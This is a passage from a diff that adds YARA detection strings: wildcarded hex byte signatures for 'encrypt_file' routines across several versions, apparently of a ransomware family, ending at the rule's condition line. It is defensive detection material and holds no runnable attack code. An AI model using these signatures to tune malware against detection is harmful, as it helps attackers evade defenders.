+            8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 AF 03 00 00
+            8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 97 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6A 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 2C 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 D9 02 00 00
+        }
+		$v20_1_encrypt_file_2 = {
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ??
+            8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 81 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B
+            4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 41 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ??
+            0F 85 32 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F
+            84 0B 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 FF 01 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ??
+            ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CE 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F 84 73 01 00 00 C7 45 ?? ??
+            ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 75 ?? 8B 45 ?? 3B 45
+            ?? 77 1A 72 0B 8B 8D ?? ?? ?? ?? 3B 4D ?? 73 0D 8B 55 ?? 33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55
+            ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03 4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B
+        }
+		$v20_1_encrypt_file_3 = {
+            55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 84 A2 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 96 00 00 00 C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 60 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF
+            D1 85 C0 74 31 8B 55 ?? 3B 55 ?? 75 29 8B 45 ?? 33 C9 03 45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ??
+            52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02
+            EB 05 E9 79 FE FF FF 83 7D ?? ?? 74 17 8B 55 ?? 3B 55 ?? 75 0F 8B 45 ?? 3B 45 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ??
+            ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ??
+            ?? ?? ?? FF D0 83 7D ?? ?? 74 0C 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0
+            83 7D ?? ?? 75 22 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 75 07 C7 45 ?? ?? ?? ?? ??
+            8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 74 37 8D 95 ?? ?? ?? ?? 52 8D 85
+            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90
+            ?? ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 5E 8B E5 5D C3
+        }
+		$v30_1_encrypt_file_1 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 02 05 00 00 8B 45 ?? 83 38 ?? 74
+            09 8B 4D ?? 83 79 ?? ?? 75 08 8B 45 ?? E9 E9 04 00 00 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
+            FF D0 89 45 ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6F 04 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 0F 85 90 03 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 F8 ?? 0F 84 70 03
+            00 00 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 50 03 00 00 8D 55 ?? 52 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 38 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ??
+            ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 04 03 00 00 6A ?? 6A ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 E8 ??
+            ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 CC 02 00 00 8B 4D ?? 3B 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 06 8B 45 ?? 89
+            45 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ??
+            ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 84 73 01 00 00 8B 45 ?? 8B 48 ?? 83 E9 ?? 89 4D ?? 8B 55 ?? D1 E2 89 55 ?? 8B 45 ??
+        }
+		$v30_1_encrypt_file_2 = {
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 35 01 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 2B 4D ?? 39 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 09 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D
+            ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
+            FF D0 85 C0 0F 84 94 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 88 00 00 00 8B 55 ?? 3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ??
+            ?? 74 73 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80
+            ?? ?? ?? ?? FF D0 85 C0 74 44 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF
+            D2 85 C0 74 21 8B 45 ?? 3B 45 ?? 75 19 8B 4D ?? 03 4D ?? 89 4D ?? 8B 55 ?? 03 55 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 83 7D
+            ?? ?? 74 06 83 7D ?? ?? 74 02 EB 0C 8B 45 ?? 3B 45 ?? 0F 85 FB FE FF FF 8B 4D ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B
+            55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 0F 85 02 01 00 00 C7 45
+            ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 DB 00 00 00 6A ?? 8D
+            4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 AE 00
+        }
+		$v30_1_encrypt_file_3 = {
+            00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? 0F 85 9F 00 00 00 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88
+            ?? ?? ?? ?? FF D1 85 C0 74 7E 83 7D ?? ?? 75 78 8B 55 ?? 3B 55 ?? 74 1B 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? 8B 55 ?? 2B
+            55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1
+            85 C0 74 34 83 7D ?? ?? 75 2E 6A ?? 8D 55 ?? 52 6A ?? 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85
+            C0 74 0D 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 07 C7 45 ?? ?? ??
+            ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 71 83 7D ?? ?? 75 28 83 7D ?? ?? 75 22 68 ?? ??
+            ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? EB 43 83 7D ?? ?? 74 36 83 7D ??
+            ?? 74 30 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
+            74 07 C7 45 ?? ?? ?? ?? ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 45 ?? 8B E5 5D C3
+        }
+		$v30_2_encrypt_file_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 BF 05 00 00 8B 45 ??
+            83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 94 05 00 00
+            8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ??
+            ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 1A 05 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B
+            4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50
+            8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 0D 04 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ??
+            8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 D5 03 00 00
+            8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 BD 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 52 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 FF 02 00 00
+        }
+		$v30_2_encrypt_file_2 = {
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ??
+            8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 A7 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B
+            4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 67 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ??
+            0F 85 58 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F
+            84 31 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 25 02 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ??
+            ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 F4 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ??
+            ?? ?? 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F
+            84 90 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ??
+            ?? 89 95 ?? ?? ?? ?? 89 75 ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 77 1D 72 0E 8B 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 73 0D 8B 55 ??
+            33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03
+            4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7
+            45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F
+            84 B3 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 A7 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B
+        }
+		$v30_2_encrypt_file_3 = {
+            4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 71 6A ?? 8D 45 ?? 50 8B 4D ??
+            51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 42 8B 55 ?? 3B 55 ?? 75 3A 8B 45 ?? 33 C9 03
+            45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 33 C0 03 55 ?? 13 45 ?? 89 55 ?? 89 45 ?? 8B 4D ?? 51 E8
+            ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02 EB 05
+            E9 5C FE FF FF 83 7D ?? ?? 74 17 8B 4D ?? 3B 4D ?? 75 0F 8B 55 ?? 3B 55 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B
+            88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ??
+            ?? FF D2 83 7D ?? ?? 74 0C 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D
+            ?? ?? 75 22 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ??
+            ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 74 37 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
+            ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ??
+            ?? ?? FF D1 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 45 ?? 5E 8B E5 5D C3
+        }
+		$v30_3_encrypt_file_1 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 75 08 8B 45 ?? E9 48 04 00 00 83 7D ?? ?? 75 08 8B 45 ?? E9 3A 04 00
+            00 8B 45 ?? 83 78 ?? ?? 74 11 8B 4D ?? 83 39 ?? 74 09 8B 55 ?? 83 7A ?? ?? 75 08 8B 45 ?? E9 18 04 00 00 C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 6A ?? 8B 55
+            ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B
+            90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84
+            83 00 00 00 8B 45 ?? 8B 48 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 74 6B 6A ?? 8D 55 ?? 52 8B 45 ?? 8B 48 ??
+            51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 39 8B 55 ?? 3B 15 ?? ?? ?? ?? 75 2E 8B 45 ??
+            8B 48 ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 50 ?? FF D2 85 C0 75 0E C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 9A 02 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ??
+            8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 63 02 00 00
+            8B 55 ?? 3B 55 ?? 0F 87 57 02 00 00 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 3F 02 00 00 6A ?? 6A
+        }
+		$v30_3_encrypt_file_2 = {
+            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 0B 02 00
+            00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 81 E1 ?? ?? ?? ?? 74 1C 6A ?? 6A ?? 8B 15 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B
+            88 ?? ?? ?? ?? FF D1 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
+            FF D0 85 C0 0F 84 52 01 00 00 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 8B 02 50 8B 4D ?? 8B 51 ?? 52 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 0A 01 00 00 8B 55 ?? 8B 42 ?? 83 E8 ?? 89 45 ?? 8B 4D ?? D1 E1
+            89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CC 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 76 8B 55 ??
+            3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5F 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 6A ?? 8B 45 ?? 50 6A ?? 8B 4D
+            ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 21 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ??
+            ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 15 83 7D ?? ?? 74 0D 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? EB 0E EB 02 EB 0A 83 7D ??
+            ?? 0F 84 54 FF FF FF 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ??
+        }
+		$v30_3_encrypt_file_3 = {
+            ?? 8B 88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 47 8B 4D ?? 81 E1 ??
+            ?? ?? ?? 74 3C 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ??
+            50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
+            FF D0 EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D ?? ?? 75 20 68 ?? ?? ?? ?? 8B
+            45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0
+            8B 45 ?? 8B E5 5D C3
+        }
+
+	condition:
